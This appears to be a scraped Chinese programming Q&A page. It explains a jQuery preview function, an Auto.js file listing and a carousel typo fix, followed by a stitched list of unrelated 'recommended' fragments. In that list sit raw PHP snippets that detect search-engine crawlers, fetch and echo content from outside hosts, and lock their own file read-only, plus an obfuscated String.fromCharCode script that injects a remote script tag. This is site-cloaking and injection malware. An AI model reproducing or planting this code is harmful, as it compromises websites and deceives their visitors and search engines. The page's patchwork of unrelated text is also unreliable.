function setPreview(view) { var previewWidth = 115, previewHeight = 73, previewSrc = 'pages/preview.jpg', preview = $(_thumbPreview.children(':first')), numPages = (view==1 || view==$('#slider').slider('option', 'max')) ? 1 : 2, width = (numPages==1) ? previewWidth/2 : previewWidth; _thumbPreview. addClass('no-transition'). css({width: width + 15, height: previewHeight + 15, top: -previewHeight - 30, left: ($($('#slider').children(':first')).width() - width - 15)/2 }); preview.css({ width: width, height: previewHeight }); if (preview.css('background-image')==='' || preview.css('background-image')=='none') { preview.css({backgroundImage: 'url(' + previewSrc + ')'}); setTimeout(function(){ _thumbPreview.removeClass('no-transition'); }, 0); } preview.css({backgroundPosition: '0px -'+((view-1)*previewHeight)+'px' }); }

时间: 2023-08-20 12:00:24 浏览: 76
这段代码是 `setPreview` 函数的完整实现,用于设置预览图的样式和背景位置。 函数的主要逻辑如下: 1. 定义预览图的宽度 `previewWidth` 和高度 `previewHeight`,以及预览图的背景图路径 `previewSrc`。 2. 获取预览图的子元素,并存储在变量 `preview` 中。 3. 根据当前视图的值 `view`,确定预览图所占的页数 `numPages`。如果视图值为 1 或者等于滑块的最大值,表示只有一页,否则表示有两页。 4. 根据页数确定预览图的宽度 `width`。如果只有一页,宽度为预览图宽度的一半;如果有两页,宽度为预览图的原始宽度。 5. 对 `_thumbPreview` 添加 `no-transition` 类,并设置其宽度、高度、位置等样式。 6. 设置预览图的宽度和高度。 7. 如果预览图的背景图片为空或者为 none,设置其背景图片为预览图路径,并在延迟 0 毫秒后移除 `no-transition` 类。 8. 设置预览图的背景位置,根据当前视图的值计算 Y 轴偏移量。 该函数的作用是根据当前视图值设置预览图的样式和背景位置。其中的 `_thumbPreview` 和 `$('#slider')` 是需要在其他地方定义或获取的元素或变量,因此需要根据实际情况进行修改和补充。
相关问题

用autojs找到var path = "/storage/emulated/0/Android/data/com.smile.gifmaker/files/.fonts/";这个路径下的jpg和png

你可以使用Auto.js中的文件操作函数来找到指定路径下的jpg和png文件。以下是一个示例代码: ```javascript var path = "/storage/emulated/0/Android/data/com.smile.gifmaker/files/.fonts/"; var files = files.listDir(path, function(name) { return name.endsWith(".jpg") || name.endsWith(".png"); }); for (var i = 0; i < files.length; i++) { toast(files[i]); } ``` 这段代码首先定义了要查找的路径,然后使用`files.listDir()`函数来获取该路径下的所有文件。`files.listDir()`函数接受两个参数,第一个参数是要查找的路径,第二个参数是一个回调函数,用于过滤文件。在回调函数中,我们使用`endsWith()`方法来判断文件名是否以".jpg"或".png"结尾,如果是则返回true,表示该文件需要被包含在结果中。 最后,我们使用一个循环遍历结果数组,并使用`toast()`函数来显示每个文件的名称。

function play(){ console.log(111) timer = setInterval(()=>{ // console.log(222) // selected() // big_box.style.backgoundImage = `url(./img/0${index}.jpg)` // big_box.style.backgoundImage = `url(./img/0${index}.jpg)` big_box.style.backgoundImage = `url(./img/01.jpg)` index ++ if(index===5){ //当轮播到最后一个时,切换回第一个 index = 0 } },1500) }找错误

在你提供的代码中,发现一个错误: 在 `big_box.style.backgoundImage` 这一行代码中,`backgoundImage` 一词拼写错误,应该是 `backgroundImage`。请将该行代码修改为: ```javascript big_box.style.backgroundImage = `url(./img/01.jpg)` ``` 这样就修正了代码中的错误。
阅读全文

相关推荐

<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>

大家在看

recommend-type

航空发动机缺陷检测数据集VOC+YOLO格式291张4类别.7z

数据集格式:Pascal VOC格式+YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):291 标注数量(xml文件个数):291 标注数量(txt文件个数):291 标注类别数:4 标注类别名称:[“crease”,“damage”,“dot”,“scratch”] 更多信息:blog.csdn.net/FL1623863129/article/details/139274954
recommend-type

数字低通滤波器的设计以及matlab的实现

一个关于数字低通滤波器的设计以及matlab的相关实现描述,不错的文档
recommend-type

【微电网优化】基于粒子群优化IEEE经典微电网结构附matlab代码.zip

1.版本:matlab2014/2019a,内含运行结果,不会运行可私信 2.领域:智能优化算法、神经网络预测、信号处理、元胞自动机、图像处理、路径规划、无人机等多种领域的Matlab仿真,更多内容可点击博主头像 3.内容:标题所示,对于介绍可点击主页搜索博客 4.适合人群:本科,硕士等教研学习使用 5.博客介绍:热爱科研的Matlab仿真开发者,修心和技术同步精进,matlab项目合作可si信
recommend-type

收放卷及张力控制-applied regression analysis and generalized linear models3rd

5.3 收放卷及张力控制 收放卷及张力控制需要使用 TcPackALv3.0.Lib,此库需要授权并安装: “\BeckhoffDVD_2009\Software\TwinCAT\Supplement\TwinCAT_PackAl\” 此库既可用于浮动辊也可用于张力传感器,但不适用于主轴频繁起停且主从轴之间没有缓 冲区间的场合。 5.3.1 功能块 PS_DancerControl 此功能块控制从轴跟随 Dancer 耦合的主轴运动。主轴可以是实际的运动轴,也可以是虚拟 轴。功能块通过 Dancer-PID 调节主轴和从轴之间的齿轮比实现从轴到主轴的耦合。 提示: 此功能块的目的是,依据某一 Dancer 位置,产生一个恒定表面速度(外设速度)相对于主 轴速度的调节量。主轴和从轴之间的张力可以表示为一个位置信号(即 Dancer 位置信号)。 功能块执行的每个周期都会扫描实际张力值,而其它输入信号则仅在 Enable 信号为 True 的第一个周期读取。
recommend-type

谷歌Pixel5基带xqcn文件

资源说明; 完好机备份的基带qcn文件 请对照型号下载 下载后解压 可以解决常规更新降级刷第三方导致的基带丢失。 会使用有需要的友友下载,不会使用的请不要下载 需要开端口才可以写入,不会开端口的请不要下载 希望我的资源可以为你带来帮助 谢谢 参考: https://blog.csdn.net/u011283906/article/details/124720894?spm=1001.2014.3001.5502

最新推荐

recommend-type

Vue 解决通过this.$refs来获取DOM或者组件报错问题

在Vue.js中,`this.$refs` 是一个非常重要的特性,它允许开发者访问Vue实例挂载的DOM元素或子组件实例。然而,在某些情况下,尝试通过`this.$refs`获取DOM或组件时可能会遇到错误。本文将深入探讨这个问题及其解决...
recommend-type

[Oracle] dbms_metadata.get_ddl 的使用方法总结

- `object_type`:要获取DDL的对象类型,如'TABLE'、'INDEX'、'VIEW'、'PROCEDURE'或'FUNCTION'等。 - `object_name`:目标对象的名称。 - `schema`:(可选)对象所在的模式,如果不提供,默认为当前用户。 例如,...
recommend-type

NR5G网络拒绝码-5gmm_cause = 111 (Protocol error, unspecified).docx

如果核心网(AMF,Access and Mobility Management Function)在处理此请求时发现存在协议错误,且没有其他更具体的5GSM(5G System Mobility)原因代码适用,就会使用5gmm_cause = 111来报告这个错误。 根据3GPP...
recommend-type

解决Tensorflow2.0 tf.keras.Model.load_weights() 报错处理问题

model.save_weights('./model.h5') ``` 2. 重新启动脚本并加载模型: ```python model.load_weights('./model.h5') ``` 3. 报错: ```python ValueError: You are trying to load a weight file containing...
recommend-type

微信小程序中为什么使用var that=this

在微信小程序或JavaScript开发中,`var that = this` 的使用常常被用来保存函数外部的上下文引用,尤其是在处理异步操作、事件处理或者在闭包中时。这个做法可以帮助开发者确保在函数内部仍然能够访问到正确的 `this...
recommend-type

nvim-monokai主题安装与应用教程

在IT领域,特别是文本编辑器和开发环境的定制化方面,主题定制是一块不可或缺的领域。本文将详细探讨与标题中提及的“nvim-monokai”相关的知识点,包括对Neovim编辑器的理解、Monokai主题的介绍、Lua语言在Neovim中的应用,以及如何在Neovim中使用nvim-monokai主题和树保姆插件(Tree-Sitter)。最后,我们也会针对给出的标签和文件名进行分析。 标题中提到的“nvim-monokai”实际上是一个专为Neovim编辑器设计的主题包,它使用Lua语言编写,并且集成了树保姆(Tree-Sitter)语法高亮功能。该主题基于广受欢迎的Vim Monokai主题,但针对Neovim进行了特别优化。 首先,让我们了解一下Neovim。Neovim是Vim编辑器的一个分支版本,它旨在通过改进插件系统、提供更好的集成和更好的性能来扩展Vim的功能。Neovim支持现代插件架构,有着良好的社区支持,并且拥有大量的插件可供选择,以满足用户的不同需求。 关于Monokai主题,它是Vim社区中非常流行的配色方案,源自Sublime Text编辑器的Monokai配色。Monokai主题以其高对比度的色彩、清晰的可读性和为代码提供更好的视觉区分性而闻名。其色彩方案通常包括深色背景与亮色前景,以及柔和的高亮颜色,用以突出代码结构和元素。 接下来,我们来看看如何在Neovim中安装和使用nvim-monokai主题。根据描述,可以使用Vim的插件管理器Plug来安装该主题。安装之后,用户需要启用语法高亮功能,并且激活主题。具体命令如下: ```vim Plug 'tanvirtin/vim-monokai' " 插件安装 syntax on " 启用语法高亮 colorscheme monokai " 使用monokai主题 set termguicolors " 使用终端的24位颜色 ``` 在这里,`Plug 'tanvirtin/vim-monokai'` 是一个Plug插件管理器的命令,用于安装nvim-monokai主题。之后,通过执行`syntax on` 来启用语法高亮。而`colorscheme monokai`则是在启用语法高亮后,设置当前使用的配色方案为monokai。最后的`set termguicolors`命令是用来确保Neovim能够使用24位的颜色,这通常需要终端支持。 现在让我们谈谈“Lua”这一标签。Lua是一种轻量级的脚本语言,它广泛应用于嵌入式领域,比如游戏开发、工业应用和很多高性能的网络应用中。在Neovim中,Lua同样担当着重要的角色,因为Neovim的配置和插件现在支持使用Lua语言进行编写。这使得Neovim的配置更加模块化、易于理解和维护。 树保姆(Tree-Sitter)是一个为编程语言开发的增量解析库,它提供了一种语言无关的方式来处理源代码语法树的生成和查询。在编辑器中,Tree-Sitter可以用于提供语法高亮、代码折叠、代码导航等强大的功能。nvim-monokai主题的描述中提到包含Tree-Sitter语法高亮功能,这表明用户在使用该主题时,可以享受到更智能、更精确的代码语法高亮效果。 最后,我们来看一下压缩包文件名称“nvim-monokai-master”。这个名称暗示了该压缩包文件是与“nvim-monokai”主题相关的源代码包的主分支版本。通常在GitHub等代码托管平台上,软件的源代码会被放置在“master”分支上,意味着这是一个稳定且可直接使用的版本。用户可以下载此压缩包,解压后,根据说明文档来安装和使用nvim-monokai主题。 综上所述,通过本文的详细介绍,我们了解了如何在Neovim中安装和使用nvim-monokai主题,以及Lua语言在Neovim配置中的应用。我们还学习了Monokai主题的特点,以及Tree-Sitter在提高代码编辑器用户体验方面所扮演的角色。此外,我们也分析了与主题相关的文件名含义,这有助于用户在下载和安装时有更明确的认识。
recommend-type

选课系统设计精髓:7大模块打造高效用户体验

# 摘要 本文全面介绍了选课系统的设计、开发和优化过程。首先,通过需求分析和用户画像构建,确立了系统的功能需求和目标用户群体。接着,对系统架构和技术选型进行了详细设计,确保系统具有高效的数据处理能力和良好的用户交互体验。在功能模块实现阶段,重点打造了课程搜索推荐、选课流程和用户反馈机制。系统测试与质量保证阶段,确立了严格的测试策略和缺陷管理流程。最后,通过案例研究分析了系统的实际应用效果,并展望了未来技术
recommend-type

(2)用户刘星具有对部门表的select、update、insert权限,并允许转授给其他人;(用户刘星权限结果) 代码怎么写

在SQL中,我们通常不会直接在代码里写用户的权限信息,因为这通常是数据库管理系统(如MySQL、Oracle等)的安全配置的一部分。但是,如果你使用的是某种支持角色授权的数据库系统(例如在MySQL的`GRANT`命令),你可以创建一个存储过程或者脚本来模拟这样的权限分配。 以下是一个基本的例子,展示了如何为用户刘星设置权限: ```sql -- 创建一个角色(假设叫role_department_access) CREATE ROLE role_department_access; -- 分配select、update、insert权限到该角色 GRANT SELECT ON depa
recommend-type

Groot应用:打造植树造林的社区互动平台

### 标题知识点解析 #### Groot-App: Groot应用程序开发存储库 - **应用程序开发**:Groot应用程序正在开发中,它是一个软件项目,专注于解决环境恶化问题,具体而言是通过促进植树造林来改善环境。 - **存储库**:存储库(Repository)在这里指的是一个代码仓库,用来存放和管理该应用程序开发过程中的所有代码、文档和其他相关资源。它通常被保存在版本控制系统中,例如Git。 ### 描述知识点解析 - **项目目标**:该应用程序的目的是帮助人们对抗环境恶化的后果,具体通过建立一个易于参与植树造林活动的平台。这包括传播有关植树造林的信息和管理公共环境。 - **功能**: - **公共环境的传播和管理**:平台提供信息分享功能,让用户能够了解植树造林的重要性,并管理植树活动。 - **互动社区**:鼓励用户之间的合作与交流。 - **种植地点发现**:用户可以找到适合的植树地点和适应当地土壤类型的植物种类。 - **项目状态**:当前项目已完成主题选择和用户角色/故事的创建。需求调查正在进行中,尚未完成。同时,项目的功能要求、技术栈、贡献指南仍在编写中。 - **贡献**:项目鼓励外部开发者或参与者贡献代码或提出改进建议。贡献者需要阅读CONTRIBUTING.md文件以了解项目的行为准则以及如何提交贡献的详细流程。 - **作者信息**:列出了开发团队成员的名字,显示出这是一个多成员协作的项目。 - **执照**:该项目采用MIT许可证。MIT许可证是一种开源许可协议,允许用户自由地使用、修改和分发软件,同时也要求保留原作者的版权声明和许可声明。 ### 标签知识点解析 由于提供的文件中没有给出具体的【标签】,因此无法直接解析相关的知识点。 ### 压缩包子文件的文件名称列表知识点解析 - **Groot-App-main**:这通常指的是项目主要分支或版本的文件夹名称。在软件开发中,"main" 分支通常是项目的主干,存放着最新、最稳定的代码。对于该应用程序来说,Groot-App-main文件夹可能包含了所有必要的源代码文件、资源文件以及配置文件,这些是构建和运行Groot应用程序所需的关键元素。 ### 总结 Groot应用程序是一个社会性的环境改善项目,其目的是通过技术手段鼓励和管理植树造林活动。项目成员来自多方面背景,包括玛丽亚·爱德华、凯文·拉莫斯、泰国人克里斯蒂娜、乔万尼·朱尼奥、拉斐拉·布里托、马切洛·戴维和蒂亚戈·科斯塔。他们正在使用MIT许可证来指导项目的开源合作,表明这是一个开放的、可以自由使用的项目。开发者和潜在贡献者可以通过阅读CONTRIBUTING.md文件了解如何参与该项目,并且项目的核心代码和其他相关文件被存放在名为Groot-App-main的文件夹中。整个项目体现了环境保护与IT技术相结合的理念,旨在通过技术手段解决现实世界的环境问题。
recommend-type

构建基石:网上选课系统需求分析与UML建模详解

# 摘要 随着教育信息化的快速发展,网上选课系统作为重要的在线教学平台,其需求分析与系统设计的科学性和实用性日益受到关注。本文首先概述了网上选课系统的基本情况,并对需求分析的基础进行了详细探讨,包括需求工程的概念、分类以及管理和确认流程。接着,文章深入分析了用户角色、场景和关键用例的详细描述,并在此基础上编写了需求规格说明书。文章进一步介绍了统一建模